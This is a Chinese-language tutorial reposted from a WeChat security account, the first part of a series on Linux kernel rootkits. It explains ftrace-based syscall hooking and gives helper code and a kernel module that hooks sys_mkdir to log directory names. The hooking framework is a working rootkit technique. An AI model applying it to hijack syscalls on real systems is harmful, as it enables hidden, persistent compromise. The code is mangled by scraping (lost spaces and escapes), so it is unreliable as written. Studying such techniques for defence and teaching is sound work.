Linux内核级rootkit技术剖析(上)

admin 2025年5月29日16:49:59评论8 views字数 9140阅读30分28秒阅读模式

Linux内核级rootkit技术是一种极为高级的黑客攻击技术,它能够打破Linux系统的安全防御,实现对系统和用户的完全控制。相较于用户态rootkit,内核级的rootkit在操作系统内核层次进行操控,更难被发现,一旦被安装,会成为操作系统内核的一部分,更加耐久和难以清除,并且由于存在于内核级别,可以篡改内存数据和内核模块,控制权更高,危害更大。本文从函数hook对Linux内核级rootkit的实现进行技术分析。

一、开始之前

作为内核rootkit意味着我们编写的代码将通过我们编写的内核模块运行在Ring 0,这可能是一把双刃剑:我们所做的动作对于用户空间的工具是不可见的,但是任何细微的错误都会导致内核崩溃。

rootkit作为内核模块安装,而由于Linux对于内核模块有签名校验,没办法将其他主机上编译出来的内核模块安装到自己的主机,所以就需要在本地进行编译。编译内核模块需要内核源码,因此可以apt update; apt install git build-essential linux-headers-$(uname -r)来安装当前Linux的源码。由于本文主要介绍rootkit功能的实现原理,所以只截取重要代码分析,对于基本的模块代码不再过多讲解。

这里要介绍几个基础函数,对我们后续的hook至关重要。

  1. ftrace_set_filter_ip,ftrace机制的重要函数,是为了在编写内核代码时进行性能分析和调试。开启时会对指定的函数进行跟踪,并记录堆栈和参数信息。
  2. kallsyms_lookup_name,参数传递一个内核符号名称,查找符号的地址,如果找不到则返回0。可灵活运用此函数来调用任意内核函数。
二、 ftrace和hook

简单来说,hook是rootkit的精髓所在,可以hook劫持系统调用,或者修改某些命令的返回结果。那么rootkit是怎么样对系统调用或者内核函数进行hook的呢?

举个例子,假如我们要对mkdir命令进行hook,实现在使用mkdir命令时在dmesg日志中保留一段文本。即然是内核级别的rootkit,那么我们就需要知道在执行mkdir命令时哪些系统调用被执行了。mkdir底层调用内核中的sys_mkdir函数,接收两个参数:

SYSCALL_DEFINE2(mkdir, constchar __user *, pathname, umode_t, mode){return do_mkdirat(AT_FDCWD, getname(pathname), mode);}

现在我们自己写一个函数来替代sys_mkdir:

static asmlinkage long(*orig_mkdir)(constchar __user *pathname, umode_t mode);asmlinkage inthook_mkdir(constchar __user *pathname, umode_t mode){char dir_name[NAME_MAX] = {0};long error = strncpy_from_user(dir_name, pathname, NAME_MAX);if (error > 0)        printk(KERN_INFO "rootkit: trying to create directory with name %sn", dir_name);    orig_mkdir(pathname, mode);return0;}

代码其实比较简单,orig_mkdir是一个函数指针,asmlinkage表示使用程序栈而不是内核栈,稍后会将此函数指针指向原本的mkdir。hook_mkdir从用户态读取pathname,简单的从dmesg打印出文件夹名称,验证hook操作是否成功,最后orig_mkdir执行原有的mkdir确保会实际创建一个文件夹。

重点在于是如何使用ftrace来进行hook的。以下是关于ftrace对函数hook的实现:

/* * Helper library for ftrace hooking kernel functions * Author: Harvey Phillips ([email protected]) * License: GPL * */#include<linux/ftrace.h>#include<linux/linkage.h>#include<linux/slab.h>#include<linux/uaccess.h>#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))#define PTREGS_SYSCALL_STUBS 1#endif/* x64 has to be special and require a different naming convention */#ifdef PTREGS_SYSCALL_STUBS#define SYSCALL_NAME(name) ("__x64_" name)#else#define SYSCALL_NAME(name) (name)#endif#define HOOK(_name, _hook, _orig)   {                       .name = SYSCALL_NAME(_name),            .function = (_hook),            .original = (_orig),        }/* We need to prevent recursive loops when hooking, otherwise the kernel will * panic and hang. The options are to either detect recursion by looking at * the function return address, or by jumping over the ftrace call. We use the  * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by * setting it to 1. (Oridinarily ftrace provides it's own protections against * recursion, but it relies on saving return registers in $rip. We will likely * need the use of the $rip register in our hook, so we have to disable this * protection and implement our own). * */#define USE_FENTRY_OFFSET 0#if !USE_FENTRY_OFFSET#pragma GCC optimize("-fno-optimize-sibling-calls")#endif/* We pack all the information we need (name, hooking function, original function) * into this struct. This makes is easier for setting up the hook and just passing * the entire struct off to fh_install_hook() later on. * */structftrace_hook {constchar *name;void *function;void *original;unsignedlong address;structftrace_opsops;};/* Ftrace needs to know the address of the original function that we * are going to hook. As before, we just use kallsyms_lookup_name()  * to find the address in kernel memory. * */staticintfh_resolve_hook_address(struct ftrace_hook *hook){    hook->address = kallsyms_lookup_name(hook->name);if (!hook->address)    {        printk(KERN_DEBUG "rootkit: unresolved symbol: %sn", hook->name);return -ENOENT;    }#if USE_FENTRY_OFFSET    *((unsignedlong*) hook->original) = hook->address + MCOUNT_INSN_SIZE;#else    *((unsignedlong*) hook->original) = hook->address;#endifreturn0;}/* See comment below within fh_install_hook() */staticvoid notrace fh_ftrace_thunk(unsignedlong ip, unsignedlong parent_ip, struct ftrace_ops *ops, struct pt_regs *regs){structftrace_hook *hook = container_of(opsstructftrace_hookops);#if USE_FENTRY_OFFSET    regs->ip = (unsignedlong) hook->function;#elseif(!within_module(parent_ip, THIS_MODULE))        regs->ip = (unsignedlong) hook->function;#endif}/* Assuming we've already set hook->name, hook->function and hook->original, we  * can go ahead and install the hook with ftrace. This is done by setting the  * ops field of hook (see the comment below for more details), and then using * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions * provided by ftrace.h * */intfh_install_hook(struct ftrace_hook *hook){int err;    err = fh_resolve_hook_address(hook);if(err)return err;/* For many of function hooks (especially non-trivial ones), the $rip     * register gets modified, so we have to alert ftrace to this fact. This     * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also     * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because     * the built-in anti-recursion guard provided by ftrace is useless if     * we're modifying $rip. This is why we have to implement our own checks     * (see USE_FENTRY_OFFSET). */    hook->ops.func = fh_ftrace_thunk;    hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS            | FTRACE_OPS_FL_RECURSION_SAFE            | FTRACE_OPS_FL_IPMODIFY;    err = ftrace_set_filter_ip(&hook->ops, hook->address, 00);if(err)    {        printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %dn", err);return err;    }    err = register_ftrace_function(&hook->ops);if(err)    {        printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %dn", err);return err;    }return0;}/* Disabling our function hook is just a simple matter of calling the built-in * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the * opposite order to that in fh_install_hook()). * */voidfh_remove_hook(struct ftrace_hook *hook){int err;    err = unregister_ftrace_function(&hook->ops);if(err)    {        printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %dn", err);    }    err = ftrace_set_filter_ip(&hook->ops, hook->address, 10);if(err)    {        printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %dn", err);    }}/* To make it easier to hook multiple functions in one module, this provides * a simple loop over an array of ftrace_hook struct * */intfh_install_hooks(struct ftrace_hook *hooks, size_t count){int err;size_t i;for (i = 0 ; i < count ; i++)    {        err = fh_install_hook(&hooks[i]);if(err)goto error;    }return0;error:while (i != 0)    {        fh_remove_hook(&hooks[--i]);    }return err;}voidfh_remove_hooks(struct ftrace_hook *hooks, size_t count){size_t i;for (i = 0 ; i < count ; i++)        fh_remove_hook(&hooks[i]);}

解释重点部分:

  • 宏定义中确定kernel version是因为在4.17.0之后,syscall会使用pt_regs来保存寄存器信息。USE_FENTRY_OFFSET是为了避免ftrace的递归循环调用。
  • container_of函数是内核中常用的函数,给定它一个结构体,结构体成员和一个成员指针,它可以通过结构体成员找到所属结构体的指针。
  • within_module 是一个 ftrace 的过滤器选项,用于限制跟踪的代码路径。这个选项可以限制只跟踪在某个指定的内核模块中的代码路径。如果指定了该选项,则只有在指定模块中的函数调用才会被跟踪,其他模块中的函数调用将被忽略。这个选项可以用于减少跟踪的数据量,或者在特定情况下对某个模块进行调试和优化。
  • FTRACE_OPS_FL_SAVE_REGS 是一个 ftrace 的标志位,表示在函数调用跟踪期间需要保存所有的寄存器。FTRACE_OPS_FL_RECURSION_SAFE 表示跟踪函数调用时可以递归调用该跟踪函数本身,这个标志主要用于防止递归函数调用时出现死锁或崩溃等问题。FTRACE_OPS_FL_IPMODIFY 表示跟踪函数调用时需要修改程序计数器(PC)的值。程序计数器是一个特殊的寄存器,存储着当前 CPU 执行的指令地址,在函数调用时,程序计数器会指向下一个要执行的指令地址。FTRACE_OPS_FL_IPMODIFY 标志允许跟踪函数在调用结束后修改程序计数器的值,以控制程序执行的流程。
  • ftrace_set_filter_ip 函数是 ftrace 框架提供的一个API,用于设置跟踪的函数地址。它将给定的函数地址添加到 ftrace 内部的跟踪过滤器中,以便在函数调用时触发跟踪功能。register_ftrace_function 用于注册一个自定义的 ftrace 函数,这个函数将一个 ftrace 函数添加到 ftrace 内部的回调列表中,在跟踪的时候会依次调用这些函数。unregister_ftrace_function 即卸载函数。

有了ftrace实现hook之后,只需要将其应用到模块中:

#include<linux/init.h>#include<linux/module.h>#include<linux/kernel.h>#include<linux/syscalls.h>#include<linux/version.h>#include<linux/namei.h>#include"ftrace_helper.h"MODULE_LICENSE("GPL");MODULE_AUTHOR("TheXcellerator");MODULE_DESCRIPTION("mkdir syscall hook");MODULE_VERSION("0.01");#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))#define PTREGS_SYSCALL_STUBS 1#endif#ifdef PTREGS_SYSCALL_STUBSstatic asmlinkage long(*orig_mkdir)(const struct pt_regs *);asmlinkage inthook_mkdir(const struct pt_regs *regs){char __user *pathname = (char *)regs->di;char dir_name[NAME_MAX] = {0};long error = strncpy_from_user(dir_name, pathname, NAME_MAX);if (error > 0)        printk(KERN_INFO "rootkit: trying to create directory with name: %sn", dir_name);    orig_mkdir(regs);return0;}#elsestatic asmlinkage long(*orig_mkdir)(constchar __user *pathname, umode_t mode);asmlinkage inthook_mkdir(constchar __user *pathname, umode_t mode){char dir_name[NAME_MAX] = {0};long error = strncpy_from_user(dir_name, pathname, NAME_MAX);if (error > 0)        printk(KERN_INFO "rootkit: trying to create directory with name %sn", dir_name);    orig_mkdir(pathname, mode);return0;}#endifstaticstructftrace_hookhooks[] = {    HOOK("sys_mkdir", hook_mkdir, &orig_mkdir),};staticint __init rootkit_init(void){int err;    err = fh_install_hooks(hooks, ARRAY_SIZE(hooks));if(err)return err;    printk(KERN_INFO "rootkit: loadedn");return0;}staticvoid __exit rootkit_exit(void){    fh_remove_hooks(hooks, ARRAY_SIZE(hooks));    printk(KERN_INFO "rootkit: unloadedn");}module_init(rootkit_init);module_exit(rootkit_exit);

Makefile内容如下:

obj-m += rootkit.oall:        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modulesclean:        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

在编译并insmod时会执行module_init,将会把sys_mkdir替换为自定义的hook_mkdir,最后在执行mkdir命令时将会在dmesg中显示“rootkit: trying to create directory with name xxx”。

Reference
https://xcellerator.github.io/posts/linux_rootkits_02/
https://gist.github.com/xcellerator/ac2c039a6bbd7782106218298f5e5ac1#file-ftrace_helper-h

原文始发于微信公众号(SAINTSEC):Linux内核级rootkit技术剖析(上)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月29日16:49:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux内核级rootkit技术剖析(上)https://cn-sec.com/archives/4112154.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息